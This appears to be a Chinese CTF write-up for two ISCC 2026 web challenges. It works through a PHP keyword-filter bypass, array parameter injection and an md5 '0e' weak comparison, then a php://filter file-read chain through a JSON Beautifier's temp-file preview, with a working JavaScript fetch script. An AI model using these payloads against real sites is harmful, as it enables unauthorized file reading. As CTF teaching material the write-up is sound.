[ISCC 2026] web 消失的密钥+JSON Beautifier
一、消失的密钥这题一共考了三个常见知识点1. 关键字替换过滤双写绕过kkeyey2. PHP 数组参数构造a[key]13373. PHP md5 弱比较 0e 绕过QNKCDZO 与 240610708整条利用链比较典型属于很标准的 PHP 弱类型综合题。1、根据题目提示系统对“key”这个词非常敏感猜测存在关键词替换过滤。实际测试结果如下step1Key失败step1KEY失败step1key回显为空step1kkeyey成功进入下一阶段说明后端大概率对小写key做了替换例如str_replace(key, , $_GET[step1]);因此可以使用经典双写绕过kkeyey过滤时先删掉中间那个 key剩下的内容又重新拼成 key从而通过第一关。页面返回[AUTH] Phase 1 Success. Master Const: 1337[SYS] Error: POST data structure a missing. Terminal locked.Note: The terminal UI is deprecated. Manual injection required.这里已经明确告诉我们第一阶段通过了需要手工发送 POST 数据需要的数据结构名为 a/3、还出现了 1337。2、继续测试不同的 POST 结构a1337失败a[]1337失败a[0]1337失败a[key]1337成功进入下一阶段可见第二关要求的不是简单标量而是数组结构POST a[key]1337这里大概率利用的是 PHP 对数组和标量混用时的弱类型/结构判断问题例如后端可能存在类似逻辑if ($_POST[a][key] 1337) { ... }或者前面还混入了不严格判断因此只有 a[key]1337 能通过。使用HackBar工具带着第一关参数并发送这个 POST 后页面进入 Phase 2。3、进入第二阶段后页面提示还需要通过 GET 提供参数 a和 b并进行哈希碰撞检查。测试发现a1b2失败aQNKCDZOb240610708成功as878926199abs155964671a也成功这说明第三关是典型的 PHP md5() 弱比较 0e 绕过。后端很可能是if ($_GET[a] ! $_GET[b] md5($_GET[a]) md5($_GET[b])) { // success }已知md5(QNKCDZO) 0e830400451993494058024219903391md5(240610708) 0e462097431906509019562988736854在 PHP 的弱比较中这两个值都会被当成科学计数法形式的数字 0e...比较结果为真。最终请求需要同时满足三层条件1. GET step1kkeyey2. POST a[key]13373. GET aQNKCDZOb240610708返回得到flag。二、JSON Beautifier核心考点源码读取 临时文件预览逻辑缺陷 php://filter文件读取一、分析题目是一个 JSON 美化工具提供两种模式1、原始 JSON 输入2、Data URI 预览题面提示说“提交后会生成临时预览文件”这意味着后端会创建临时文件然后通过另一个接口预览。通过访问robots.txt发现了/api/preview.php接口这成为突破口。简单来说漏洞链条是这样的1、写入点beautify.php的 Data URI 模式允许我们往临时文件里写任意内容2、读取点preview.php读取.tmp文件时如果内容像 URL就会再次发起请求3、协议绕过虽然禁了http/https/ftp/phar/expect但php://filter还活着4、条件满足代码要求 URL 中包含resource/secret/flag我们构造的 payload 刚好满足最终的 Payloadphp://filter/readconvert.base64-encode/resource/secret/flag二、操作步骤1、F12 右键检查打开开发者工具切换到Console标签。2、输入以下代码按回车执行。// 正确的 PayloadBase64 编码后的 php://filter 链 const correctBase64 cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS9zZWNyZXQvZmxhZw; // 发送 POST 请求 fetch(/api/beautify.php, { method: POST, headers: { Content-Type: application/json }, body: JSON.stringify({ data: data:text/plain;base64, correctBase64, preview_type: data_uri }) }) .then(res res.json()) .then(data { if (data.error) { console.error(错误:, data.error); return; } console.log(✅ 临时文件创建成功:, data.preview_file); // 自动读取 flag return fetch(/api/preview.php?file data.preview_file); }) .then(res { if (res res.ok) return res.text(); }) .then(b64 { if (b64) { console.log( Base64 编码的 Flag:, b64); const flag atob(b64.trim()); console.log( Flag:, flag); alert(Flag: flag); } }) .catch(err console.error(请求失败:, err));3、执行后控制台会输出flag同时会弹出一个 alert 窗口显示 Flag。三、代码解释代码段作用const correctBase64 ...存放 Base64 编码的 Payloadfetch(/api/beautify.php, ...)POST 请求写入临时文件fetch(/api/preview.php?file...)GET 请求读取临时文件触发二次请求atob(b64.trim())Base64 解码得到 Flag为什么用atob()因为php://filter返回的是 Base64 编码的内容浏览器原生支持atob()解码非常方便。